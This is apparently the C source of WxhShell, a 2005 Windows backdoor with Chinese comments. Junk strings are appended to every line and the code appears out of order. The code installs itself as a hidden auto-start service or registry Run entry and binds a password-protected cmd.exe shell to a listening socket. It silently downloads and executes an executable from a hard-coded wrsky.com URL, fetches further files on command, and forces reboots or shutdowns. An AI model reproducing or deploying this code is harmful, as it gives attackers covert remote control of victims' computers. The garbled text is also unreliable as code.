    if(Boot(SHUTDOWN)) .(S,dG0P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~N'KIP[W  
    else { XE$eHx3;  
    closesocket(wsh); e`$v\7K  
    ExitThread(0); 3<+l.Wly  
    } l}(~q!r  
    break; O:7y-r0i  
    } 6g$04C3tHi  
  // 获取shell ~*B1}#;  
  case 's': { EmY4>lr  
    CmdShell(wsh); v,|;uc+  
    closesocket(wsh); o JA58/  
    ExitThread(0); $LRFG(  
    break; :` ~b&Oz)  
  } ;5Sr<W\:;  
  // 退出 5Ij_$a  
  case 'x': { *=/XlSWF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7FDraEr#f  
    CloseIt(wsh); T>uLqd{hH  
    break; F'j:\F6C;  
    } syZ-xE]}  
  // 离开 }(tGjx]  
  case 'q': { yJp& A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W: ?-d{  
    closesocket(wsh); ZTmdS  
    WSACleanup(); ',!#?aGV  
    exit(1); 2qr%xK'^B  
    break; N'`*#UI+  
        } n1ED _9  
  } 6:EO  
  } 7GP?;P  
<01B\t7  
  // 提示信息 ufR |  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `P z !H  
} ^5T{x>Lj  
  } e2*^;&|%  
C6P6hJm  
  return; [U jbox  
} |\_O8=B%  
+Zr03B  
// shell模块句柄 zIo))L  
int CmdShell(SOCKET sock) mtOrb9` m  
{ D\`$  
STARTUPINFO si; W;-Qze\D  
ZeroMemory(&si,sizeof(si)); u%h<5WNh<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _+;x 4K;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z{n=G  
PROCESS_INFORMATION ProcessInfo; S&=B&23T  
char cmdline[]="cmd"; !X.N$0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); by06!-P0[  
  return 0; _&z>Id`w  
} sJ?kp^!g  
7CIje=u.q  
// 自身启动模式 Zwt!nh   
int StartFromService(void) 8% |x)  
{ gEe}xI  
typedef struct 7]v-2 *  
{ ZbGyl}8ua  
  DWORD ExitStatus; isd[l-wAmf  
  DWORD PebBaseAddress; LTY.i3  
  DWORD AffinityMask; FCe503qND$  
  DWORD BasePriority; Yj"UD:p  
  ULONG UniqueProcessId; X! ]~]%K$y  
  ULONG InheritedFromUniqueProcessId; wk/->Rz  
}   PROCESS_BASIC_INFORMATION; ry< P LRN  
xxiLi46/  
PROCNTQSIP NtQueryInformationProcess; 'RA[_Z  
=0:hrg+Zgx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~xJD3Qf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OS9v.pz  
[)Ge^yI7  
  HANDLE             hProcess; r"Bf@va  
  PROCESS_BASIC_INFORMATION pbi; _ xC~44  
-12v/an]L7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1=D!C lcb  
  if(NULL == hInst ) return 0; lR(&Wc\j  
?SAi t Q3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fBF}-{VX(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vK{K#{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "_l[4o[D  
0PfFli`2;  
  if (!NtQueryInformationProcess) return 0; ]d[q:N]z  
+|?c_vD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |s^ar8)=)  
  if(!hProcess) return 0; vLke,MKW  
fU}w81oe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kp$ILZ  
#X8[g_d/  
  CloseHandle(hProcess); hnZHu\EJ  
|}}]&:w2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); btY Pp0o~  
if(hProcess==NULL) return 0; < 9MnQ*@  
Kaa*;T![  
HMODULE hMod; =,'Z6?%p  
char procName[255]; gMvvDP!Wp  
unsigned long cbNeeded; pE< ' '`  
F,zJdJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CL*%06QyE  
0%t|?@HoN  
  CloseHandle(hProcess); xH0/R LK3J  
xki"'  
if(strstr(procName,"services")) return 1; // 以服务启动 FX^E |  
xr/ k.Fz  
  return 0; // 注册表启动 G#V22Wca8  
} e>^R 8qM?  
P2p^jm   
// 主模块 } :mI6zsNj  
int StartWxhshell(LPSTR lpCmdLine) %FU[ j^  
{ ?MYD}`Cv  
  SOCKET wsl; h$&XQq0T  
BOOL val=TRUE; }rE|\p>  
  int port=0; GEA;9TU|V  
  struct sockaddr_in door; M($},xAvDU  
_~kcr5  
  if(wscfg.ws_autoins) Install(); i/~J0qQ  
P Cf|^X#B  
port=atoi(lpCmdLine); wl%1B64  
LJy'wl  
if(port<=0) port=wscfg.ws_port; 54{"ni 2a  
JK(&E{80  
  WSADATA data; $VA4% 9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6S<$7=$ =  
6bGD8 ;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Kv]6 b2HT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "v1(f|a  
  door.sin_family = AF_INET; ]G B},  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A E711l-  
  door.sin_port = htons(port); ASvPr*q/  
3$8}%?i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [1C#[Vla  
closesocket(wsl); f#~Re:7.c  
return 1; ge[i&,.&z  
} ?5Fj]Bk]  
["}A#cO652  
  if(listen(wsl,2) == INVALID_SOCKET) { Cf7\>U->  
closesocket(wsl); x\rZoF.NQ  
return 1; [f0HUbPX  
} }'W^Ki$  
  Wxhshell(wsl); |DW'RopM  
  WSACleanup(); ]SL&x:/-  
76b7-Nj"  
return 0; 1Tq$E[  
&EPEpN R  
} v~\45eEA  
dx}/#jMa  
// 以NT服务方式启动 IJ8DN@w9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :RsPGj6   
{ cPcV[6)5K9  
DWORD   status = 0; C=IH#E=  
  DWORD   specificError = 0xfffffff; S nHAY <  
l5[xJH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ".%LBs~$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;ZJ,l)BNO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PHvjsA%"   
  serviceStatus.dwWin32ExitCode     = 0; /09=Tyy/\  
  serviceStatus.dwServiceSpecificExitCode = 0; \6hL W_q1  
  serviceStatus.dwCheckPoint       = 0; `5Btg. &  
  serviceStatus.dwWaitHint       = 0; hD1AK+y  
Wts{tb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `4 bd,  
  if (hServiceStatusHandle==0) return; (J&Xo.<Z-  
mM* yv  
status = GetLastError(); lrhAO"/1  
  if (status!=NO_ERROR) k+[KD>;1  
{ +ca296^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Nr9[Vz?$P  
    serviceStatus.dwCheckPoint       = 0; gKN_~{{OD  
    serviceStatus.dwWaitHint       = 0; b3xkJ&Z  
    serviceStatus.dwWin32ExitCode     = status; j/D)UWkR  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8>Z$/1Mh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P(epG?Qg  
    return; _}@n_E  
  } ?(q*U!=  
rx>Tc#g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 49oW 'j  
  serviceStatus.dwCheckPoint       = 0; 0>=)  
  serviceStatus.dwWaitHint       = 0; #2jn4>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cWO )QIE  
} ^-GX&ODa  
uV_)JZ W,L  
// 处理NT服务事件,比如:启动、停止 i*R:WTw#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |OZ>/l {  
{ O'-Zn]@.]  
switch(fdwControl) 9+I/y,aC  
{ Nf'dT;s.N  
case SERVICE_CONTROL_STOP: (D m"e`  
  serviceStatus.dwWin32ExitCode = 0; npcBpGL{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g[au-.:  
  serviceStatus.dwCheckPoint   = 0; >J3ja>Gw/  
  serviceStatus.dwWaitHint     = 0; 0DB<hpC:5  
  { BhW]Oq&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Xm4(FN\  
  } T[h}A"yK;  
  return; -\'.JA_  
case SERVICE_CONTROL_PAUSE: qTHg[sME  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l5';?>!s  
  break; -ouJf}#R  
case SERVICE_CONTROL_CONTINUE: kg I=0W>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @ P"`=BU&  
  break; o+-Ge J  
case SERVICE_CONTROL_INTERROGATE: >|/ ? Up  
  break; on;sq8;  
}; 7G[ GHc>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #)mkD4  
} [gkRXP[DGs  
ru/zLj:  
// 标准应用程序主函数 h0 GdFWN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /P!X4~sTM  
{ wYQ1Z  
 K-5"#  
// 获取操作系统版本 9`C iE  
OsIsNt=GetOsVer(); $qtU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |369@un6  
O\?5#.   
  // 从命令行安装 vQYfoam;  
  if(strpbrk(lpCmdLine,"iI")) Install(); _`@Xy!Ye  
A,lw-(.z4Z  
  // 下载执行文件 ss`q{ARb  
if(wscfg.ws_downexe) { k;fnC+Y$s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2x`xyR_Q.R  
  WinExec(wscfg.ws_filenam,SW_HIDE); -{8Q= N  
} im \ YL<  
av; (b3Lq  
if(!OsIsNt) { Gj7QG IKx  
// 如果时win9x,隐藏进程并且设置为注册表启动 =*:[(Py1  
HideProc(); Iz?W tm }  
StartWxhshell(lpCmdLine); s/G5wRl<  
} {`K]sa7`  
else [wy3Ld  
  if(StartFromService()) m>uI\OY{n  
  // 以服务方式启动 Tc3ih~LvG  
  StartServiceCtrlDispatcher(DispatchTable); z<[.MH`ln  
else U.pr} hq  
  // 普通方式启动 @0UwI%.  
  StartWxhshell(lpCmdLine); 2>MP:yY;K  
Eo { 1y  
return 0; Z;Ir>^<  
} + <!)k?  
"`jZ(+  
1!;"bHpk  
mU?&\w=v$  
=========================================== 3\p]esse  
p~, 3A:i  
 zfjDb  
+%e%UF@  
h2/dhp  
U-~*5Dd  
" yA !3XUi  
Y1yXB).AH8  
#include <stdio.h> f^6&Fb>  
#include <string.h>  g`)/x\  
#include <windows.h> (Y'UvZlM%P  
#include <winsock2.h> \2gvp6  
#include <winsvc.h> E2qB:  
#include <urlmon.h> z6FbM^;;  
Pa +AF  
#pragma comment (lib, "Ws2_32.lib") #"o6OEy$A#  
#pragma comment (lib, "urlmon.lib") f $.\o  
tv@Z 5  
#define MAX_USER   100 // 最大客户端连接数 DV7<n&P  
#define BUF_SOCK   200 // sock buffer 3Y1TQ;i,wQ  
#define KEY_BUFF   255 // 输入 buffer c<+g|@A#  
zfP[1  
#define REBOOT     0   // 重启 4uO @`0:x  
#define SHUTDOWN   1   // 关机 2[8fFo>  
[NCXn>Z  
#define DEF_PORT   5000 // 监听端口 =0PNHO\gl  
uGP[l`f|FQ  
#define REG_LEN     16   // 注册表键长度 Ypn%[sSOp  
#define SVC_LEN     80   // NT服务名长度 8g# c%eZ  
c6?c>*z  
// 从dll定义API F;d%@E_Bc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .`p<hA)%[C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CzzUi]*Ac{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w| -0@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F,L82N6\U  
R<y  Nv  
// wxhshell配置信息 ,`%k'ecN  
struct WSCFG { 6:|!1Pg5  
  int ws_port;         // 监听端口 <i{m.p R>  
  char ws_passstr[REG_LEN]; // 口令 8`AcS|k  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9&[) (On74  
  char ws_regname[REG_LEN]; // 注册表键名 fR]p+\#8u*  
  char ws_svcname[REG_LEN]; // 服务名 E,*JPK-A x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q8;x9o@p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3xmiX{1e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G_2gKkIK-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DGa#d_I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~J:$gu~`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L;.VEz!  
-A~;MGY  
}; Zzw}sZ?8  
B&%L`v2[  
// default Wxhshell configuration E(aX4^]g  
struct WSCFG wscfg={DEF_PORT, LT,iS)dY+  
    "xuhuanlingzhe", vWqyZ-p,q  
    1, |MOn0 *  
    "Wxhshell", 3t"~F%4-}  
    "Wxhshell", nR,Qm=;  
            "WxhShell Service", <O,'5+zG%  
    "Wrsky Windows CmdShell Service", ++Rdv0~  
    "Please Input Your Password: ", M&|sR+$^  
  1, S4l)TtY  
  "http://www.wrsky.com/wxhshell.exe", dJdD"xj  
  "Wxhshell.exe" G zJ9N`  
    }; {+@ms$z  
QmWC2$b  
// 消息定义模块 /32Ta  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '|YtNhWZ?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oTq%wi6 _  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L<f-Ed9|  
char *msg_ws_ext="\n\rExit."; } D/+<  
char *msg_ws_end="\n\rQuit."; ')AByD}Hi]  
char *msg_ws_boot="\n\rReboot..."; _%A/ )  
char *msg_ws_poff="\n\rShutdown..."; '\ph`Run  
char *msg_ws_down="\n\rSave to "; 8_^'(]  
-vv   
char *msg_ws_err="\n\rErr!"; $:%*gY4~76  
char *msg_ws_ok="\n\rOK!"; iN:G/ss4O  
T!m42EvIvE  
char ExeFile[MAX_PATH]; $\0cJCQ3  
int nUser = 0; jHkyF`<+  
HANDLE handles[MAX_USER]; fap|SMGt  
int OsIsNt; MAuM)8_P/|  
ppwd-^f3j  
SERVICE_STATUS       serviceStatus; w$DG=!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]yyU)V0Iu  
c0!Te'?  
// 函数声明 ?Ia4H   
int Install(void); /p"U  
int Uninstall(void); g6rv`I $l  
int DownloadFile(char *sURL, SOCKET wsh); RE ![O  
int Boot(int flag); T$gkq>!j<E  
void HideProc(void); K:}h\ In  
int GetOsVer(void); vqrBRlZ  
int Wxhshell(SOCKET wsl); M*g2VyZ  
void TalkWithClient(void *cs); $x;tSJ)m~  
int CmdShell(SOCKET sock); Nf=C?`L  
int StartFromService(void); )x$!K[=  
int StartWxhshell(LPSTR lpCmdLine); y-E1]4?})  
z7'n, [  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]sX7%3P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &M0o&C-1/  
pd=7^"[};  
// 数据结构和表定义 UlK/x"JDv  
SERVICE_TABLE_ENTRY DispatchTable[] = Nhjle@J<  
{ C$KaT3I  
{wscfg.ws_svcname, NTServiceMain}, O"@?U  
{NULL, NULL} c_~XL^B@  
}; =ied}a :[  
I?f"<5[0  
// 自我安装 9|J8]m?x  
int Install(void) \1=T sU&^  
{ rER~P\-  
  char svExeFile[MAX_PATH]; f2uZK!:m  
  HKEY key; UqD5 A~w  
  strcpy(svExeFile,ExeFile); fdd~e52f  
PLO\L W  
// 如果是win9x系统,修改注册表设为自启动 "F&Tnhh4  
if(!OsIsNt) { LTg?5GwD\j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ua9thOG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Zc9yZl2  
  RegCloseKey(key); Rb{+Ki  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5/Ydv RB67  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aF D="Zh  
  RegCloseKey(key); 48lzOG  
  return 0; s ;48v  
    } eA`]K alH  
  } u=(H#o<#  
} t@X M /=d  
else { {]+ jL1  
TAXd,z N  
// 如果是NT以上系统,安装为系统服务 F?!FD>L{`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `ff j8U  
if (schSCManager!=0) Z$Z`@&U=  
{ 5k K= S  
  SC_HANDLE schService = CreateService j1'\R+4U  
  ( CoKiQUW  
  schSCManager, Us1@\|]  
  wscfg.ws_svcname, 7^c2e*S  
  wscfg.ws_svcdisp, kJ/+IGV^v  
  SERVICE_ALL_ACCESS, A$/KP\0Y2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]a8eDy  
  SERVICE_AUTO_START, 6(:)otz  
  SERVICE_ERROR_NORMAL, *hV4[=  
  svExeFile, 1oB$MQoc  
  NULL, |p;4dL  
  NULL, bAUHUPe  
  NULL, ozVpfs  
  NULL, ZQ@3P7T  
  NULL 7TP$  
  ); #g,H("Qy({  
  if (schService!=0) [`q.A`Fd  
  { bSQ_"  
  CloseServiceHandle(schService); Lt>?y& CcQ  
  CloseServiceHandle(schSCManager); "K 8nxnq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3 Q@9S  
  strcat(svExeFile,wscfg.ws_svcname); n1_ %Td  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wyp{KIV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); STv(kQs  
  RegCloseKey(key); \{kHSV%z  
  return 0; pH^ z  
    } b7Yq_%+  
  } %cS#+aK6M'  
  CloseServiceHandle(schSCManager); ,K T<4  
} 6 tX.(/+L  
} QI.t&sCh5  
C:Vv!u  
return 1; yj>) {NcX  
} P1$f}K}  
}Bd_:#.mw  
// 自我卸载 xOhRTxic  
int Uninstall(void) e!6eZ)l  
{ ubD#I{~J  
  HKEY key; OO$|9`a  
ACgt" M.3F  
if(!OsIsNt) { $\+"qs)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -H4PRCDH  
  RegDeleteValue(key,wscfg.ws_regname); JW-|<CJ  
  RegCloseKey(key); X!o@f$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bH_I7G&m  
  RegDeleteValue(key,wscfg.ws_regname); .-J`d=Krp  
  RegCloseKey(key);  j|ozGO  
  return 0; [;<<4k(nL  
  } wI*Y{J  
} @ozm;  
} q Z#!CPHS  
else { <8$Md4r  
qv.n99?]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0"4J"q]&  
if (schSCManager!=0) 5H~@^!7t  
{ Dp^95V@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (:JjQ`i  
  if (schService!=0) Ln:lC( '  
  { O!/ekU|,r  
  if(DeleteService(schService)!=0) { ,b$z!dvhl  
  CloseServiceHandle(schService); #T[%6(QW  
  CloseServiceHandle(schSCManager); L+7*NaPY*  
  return 0; 7$K}qsr<  
  } R \ia6  
  CloseServiceHandle(schService); iEe#aO"D!  
  } YjX*)Q_sl?  
  CloseServiceHandle(schSCManager); *g*VCO  
} 6`1k ^  
} ekrBNDs9  
% ^e@`0L  
return 1; 3<+z46`?  
} a`s/qi  
=ydpU<aS  
// 从指定url下载文件 G<|:605  
int DownloadFile(char *sURL, SOCKET wsh) ssPI$IRg!  
{ &h\7^=s.  
  HRESULT hr; _O LI%o  
char seps[]= "/"; 'g2vX&=$A  
char *token; s_TD4~ $  
char *file; XYMxG:  
char myURL[MAX_PATH]; FQ1arUOFW,  
char myFILE[MAX_PATH]; ghX:"vV{n  
&"xQ~05  
strcpy(myURL,sURL); o7J{+V  
  token=strtok(myURL,seps); E_]k>bf\  
  while(token!=NULL) Xh`"  
  { loLKm]yV  
    file=token; sx:Hv1d  
  token=strtok(NULL,seps); uQWp+}>ZJy  
  } 4AuH1m)<  
Ep<YCSQy$i  
GetCurrentDirectory(MAX_PATH,myFILE); RU7!U mf  
strcat(myFILE, "\\"); i]dz}=j'  
strcat(myFILE, file); IEc>.J|T&  
  send(wsh,myFILE,strlen(myFILE),0); BK*z 4m  
send(wsh,"...",3,0); moaodmt]x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wy8,<K{  
  if(hr==S_OK) 1c / X  
return 0; K|Om5 p  
else tR5tPPw  
return 1; oikxg!0S  
Et.j1M|g  
} ~oo'ky*H!  
 J+lGh9G  
// 系统电源模块 /e .D /;]  
int Boot(int flag) %/Bvy*X&  
{ 0lBat_<8  
  HANDLE hToken; ^g[J*{+!W  
  TOKEN_PRIVILEGES tkp; i2`#   
}DbE4"^K7  
  if(OsIsNt) {  tq0;^L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I=o'+>az  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y|:YrZSC  
    tkp.PrivilegeCount = 1; xFU5\Zuw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vcwK6G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $M39 #a  
if(flag==REBOOT) { *Er? C;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]H>+m 9  
  return 0; h mds(lv7  
} yZ5 x8 8>  
else { }f]b't  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M}u1qXa  
  return 0; oE6|Zw  
} ?d~]Wd!z  
  } -w\M-wc/$  
  else { ljuNs@q  
if(flag==REBOOT) { 1TIlINlJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ww=O=c5uOu  
  return 0; JdO)YlM-  
} e$ 32  
else { Qww^P/vm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3T?f5+@I  
  return 0; .> wFztK  
} +v!v[qn  
} Hsgy'X%om  
KxX[ S.C  
return 1; !VFem~'d  
} aiJnfU]W  
bs BZ E  
// win9x进程隐藏模块 Li]k7w?H  
void HideProc(void) Fe5jdV<  
{ \q,s?`+B  
@0D![oA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >J@egIKzP  
  if ( hKernel != NULL ) 05"qi6tncz  
  { g}m+f] |  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VyY.r#@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +YuzpuxjJ  
    FreeLibrary(hKernel); Q-(Dk?z{  
  } DFc [z"[  
guE2THnz3D  
return; 2kVp_=c  
} A4 5m)wQ  
Mc:b U  
// 获取操作系统版本 3p&jLFphL  
int GetOsVer(void) 7 v~ro  
{ ~#q;bS  
  OSVERSIONINFO winfo; *Q5x1!#z #  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z}+yI,  
  GetVersionEx(&winfo); VAs ( .y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d/lffNS=  
  return 1; R:f7LRF/\  
  else -%H%m`wD  
  return 0; [IMQIX  
} :/i~y$t  
~z`/9 ;  
// 客户端句柄模块 '#<> "|  
int Wxhshell(SOCKET wsl) Y&g&n o_  
{ drIK(u\_  
  SOCKET wsh; l2s{~IC  
  struct sockaddr_in client; pC^2Rzf  
  DWORD myID; ssA7Dx:  
l]) Q.m  
  while(nUser<MAX_USER) n/AW?'  
{ e3g_At\  
  int nSize=sizeof(client); :3 y_mf>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cQn)^jx=  
  if(wsh==INVALID_SOCKET) return 1; {xToz]YA  
Ye@t_,)x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rVcBl4&1*g  
if(handles[nUser]==0) OX^3Q:Z=  
  closesocket(wsh); `iQqhx  
else 8U=A{{0p  
  nUser++; ~#Aa Ldq  
  } r )8z#W>s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "xn|zB  
LABNj{=D!  
  return 0; :Y^I]`lR"  
} ]u0Jd#@  
a_{6Qdl  
// 关闭 socket 1eD.:_t4  
void CloseIt(SOCKET wsh) :<%vE!$  
{ mW +tV1XjG  
closesocket(wsh); .8(%4ejJ(  
nUser--; ;UpJ=?W  
ExitThread(0); :Eo8v$W\RB  
} />F.Nsujy  
Hk9U&j$  
// 客户端请求句柄 T>F9Hs  W  
void TalkWithClient(void *cs) /AR]dcL@76  
{  D%gGRA  
az2X ch]  
  SOCKET wsh=(SOCKET)cs; 0m&3?"5u  
  char pwd[SVC_LEN]; ,E9d\+j  
  char cmd[KEY_BUFF]; anC+r(jjg9  
char chr[1]; eO[c lB  
int i,j; o|rzN\WJn  
!M^\f N1  
  while (nUser < MAX_USER) { F~R7~ZE  
7kd|K b(  
if(wscfg.ws_passstr) { OD|1c6+X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,ux+Qz5(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]7vf#1i<  
  //ZeroMemory(pwd,KEY_BUFF); y<*-tZV[  
      i=0; %Rarr  
  while(i<SVC_LEN) { l"5y?jT  
u5F}(+4r  
  // 设置超时 (3W&A M  
  fd_set FdRead; x5F@ad 9  
  struct timeval TimeOut; Vhph`[dC{  
  FD_ZERO(&FdRead); aS/`A  
  FD_SET(wsh,&FdRead); mp:m`sh*i  
  TimeOut.tv_sec=8; L;yEz[#xaT  
  TimeOut.tv_usec=0; uA%Ts*aN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0H+c4IW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #8UseK  
u]bz42]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ S~%KsC  
  pwd=chr[0]; ET+'Pj3  
  if(chr[0]==0xd || chr[0]==0xa) { iaRR5D-  
  pwd=0; %w:'!X><  
  break; @n@g)`  
  } VYigxhP7  
  i++; _l T0H u  
    } 7P*Z0%Q  
mPG7Zy$z  
  // 如果是非法用户,关闭 socket s0lYj@E'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .eY`Ri<3t  
} I4~^TrznRa  
}e2F{pQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WsB3SFNG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^1VbH3M  
e1uMR-Q  
while(1) { Pb4q`!  
M=[th  
  ZeroMemory(cmd,KEY_BUFF); QiU_hz6?v  
r0Z+ RB^I  
      // 自动支持客户端 telnet标准   aTClw<6}  
  j=0; WHk/$7_"i  
  while(j<KEY_BUFF) { G"> 0]LQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2-s7cXs  
  cmd[j]=chr[0]; OZT^\Ky_l  
  if(chr[0]==0xa || chr[0]==0xd) { [#Fg\2bq_y  
  cmd[j]=0; @yKZRwg  
  break; rS,j;8D-  
  } xlw 2g<s  
  j++; p8>R#9  
    } (: OHyeNt  
N&x:K+Zm .  
  // 下载文件 v.b5iv5  
  if(strstr(cmd,"http://")) { :kN5?t=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d$[8w/5Of  
  if(DownloadFile(cmd,wsh)) BSDk9Oc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7E\gxQ(vU  
  else WgPgG0VJE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ytz8=\p_b  
  } ^#w{/C/n  
